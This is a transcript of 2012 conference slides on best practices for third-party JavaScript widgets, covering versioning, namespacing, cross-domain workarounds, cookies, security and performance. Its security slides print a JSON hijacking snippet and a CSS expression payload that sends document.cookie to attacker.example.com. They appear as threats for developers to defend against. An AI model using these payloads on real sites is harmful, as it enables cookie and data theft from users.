external javascript widget development best practices
Post on 15-Nov-2014
2.941 Views
Preview:
DESCRIPTION
TRANSCRIPT
JavaScript Widget Development Best Practices
Volkan Özçelik
volkan@o2js.com
2012-07-29 @ jstanbul
http://jstabul.org/2012
Who am I?
• CTO, cember.net (%100 acquired by Xing AG; RIP)
• Project Director, livego.com (gone to deadpool, RIP)
• CO-VP of Technology, grou.ps ( http://grou.ps/ )
• JavaScript Engineer, SocialWire ( http://socialwire.com/ )
• J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
Other Places to Find Me
• http://github.com/v0lkan
• http://geekli.st/volkan
• http://twitter.com/linkibol
• http://linkd.in/v0lkan
Outline
• What is a Widget? / Types of Widgets
• Challenges Involved• Versioning• You are not the host, you are the thief.• Shared Environment• Bumping the Cross-Domain Wall• Not Your Grandma’s Cookies• Security• Performance
• Questions
tar -zxvf 30Min.gz
http://bit.ly/js-widget
(work in progress)
What is a Widget?
• A Distributed Plugin• Source Site ( widget provider )• Consumer Sites ( publishers )
• Can have a GUI ( weather forecast )
• May do not have GUI too ( analytics, statistics )
• Can be Stateful
• Can be Stateless
Versioning Hassle
• Types of Versioning• URL Versioning• Version Number as an Init Parameter
• If it ain’t broke, they won’t fix it.• When’s the last time you updated that Wordpress
theme?
• Nobody will change that darn version number!
Versioning Hassle
• google‘s ga.js 2 hour cache time;• Facebook‘s all.js 15 minute cache time;• twitter‘s widgets.js 30 minute cache time.
What part of “Far Future Expires Header”
don’t you understand?!
Versioning Hassle
• Far Future Expires Header
• Self Cache-Revalidating Scripts• A Bootloader Script• A JavaScript Beacon• Iframe Refresh
• window.location.reload(true)
Widget Initialization Flow
Act, but don’t be Seen
• You don’t own publisher’s DOM.
• Leave minimal trace behind.
• Do not slow down publisher.
• Do not pollute global namespace.
Act, but don’t be Seen
• Do not extend Object.prototype or Function.prototype
• Show love to the Module Pattern,
• Do not slow down publisher• Async initialization,• Lazy Load.
• Do not slow down yourself• Native is faster,• Use IDs everywhere.
Environment is Shared
• Prefix everything.
• I mean… everything!
Environment is Shared
Cross Domain Boundary
• Modern Methods• CORS• HTML5 window.postMessage API
• Hacks• Flash Proxy• Hash Fragment Transport• window.name Transport• Iframe inside an Iframe (klein bottle)• Use Publisher’s Server as a Proxy• JSON with Padding
Third Party Cookies
• Can be disabled by default.
• Users may explicitly disable them.
• Ad blocker browser plugins may disable them.
• You cannot rely on their existence.
Third Party Cookies
• Meaning of “disabled” varies too• Firefox & Opera
• Server cannot read, client cannot write• We’re tossed! (or are we?)
• IE• Server can read, client cannot write
• Webkit (Chrome & Safari)• Server can read, • client can “kinda” write (iframe post hack)
Third Party Cookies
• Check for 3rd Party Cookie Support First• Don’t jump straight into hacks.
• External Windows as a Rescue• A pop-up is considered “first party”
• What about Opera & Firefox ?• Store session ID as a variable.• Pass to the server at each request.• Do not store on publisher’s page!
• Use an IFRAME on API domain for security.
Widget Security
• Bottom Line Up Front• Sanitize everything.• First deny everything, then whitelist known
good.• Check referrers, have a list of trusted domains.• Do not trust anyone.
function Anyone(){}
function Publisher(){}Publisher.prototype = new Anyone();
Widget Security
• XSS• Sanitize everything• Escape < > ; , ‘ “ into HTML entities
• CSRF• Use a CSRF token
• Denial of Service• Subdomains per publisher ( publisher1.api.example.com )• Throttle suspicious requests per subdomain.• Best handled on network / hardware layer.
• Session Hijacking• … is a reality.• The only reasonable protection is HTTPS.
Widget Security (lesser known)
JSON Hijacking
<script>var captured = []; function Array() { for (var i = 0; i < 3; i++) { this[i] setter = function(val) { captured.push(val); }; } }</script> <script src="http://api.example.com/products.json"></script>
Widget Security (lesser known)
CSS Expression Hijacking
var _wd_borderColor = '#000;x:expression(var i = new Image;\ i.src="http://attacker.example.com/?" +
document.cookie);';
Widget Security (lesser known)
Clickjacking
• Invisible IFRAME positioned on a UI element.
Remedy:
• Framekiller scripts
• X-Frame-Options header
• Request confirmation for sensitive actions
• Register all your publishers
Widget Performance
• Minimize Initial Payload• Tiny bootloader, then load dependencies
• Lazy load when possible
• Combine and Minify Assets
• CSS Sprites
• Defer images (use a default image, then load original)
• Minimize # of HTTP Requests
Widget Performance
• Minimize Repaint and Reflow
• Rate-limit Server Requests (throttle, debounce)
• Yield with setTimeout(fn, 0)
• Chunk large arrays of instructions.
• Improve Perceived Performance• Be an optimist: act, then verify.
Widget Performance
• Do not micro-optimize, • Do not optimize prematurely, • Optimizing without measurement is misleading,• It’s hard to measure a third party widget’s
performance.• A lot of moving parts involved.• Tools like jsperf will not be of much use.• Do not use your 8GB Ram + SSD MacBook for
profiling.• Test on an low-grade machine.
• Do not forget mobile!
Thank You!
Questions?
top related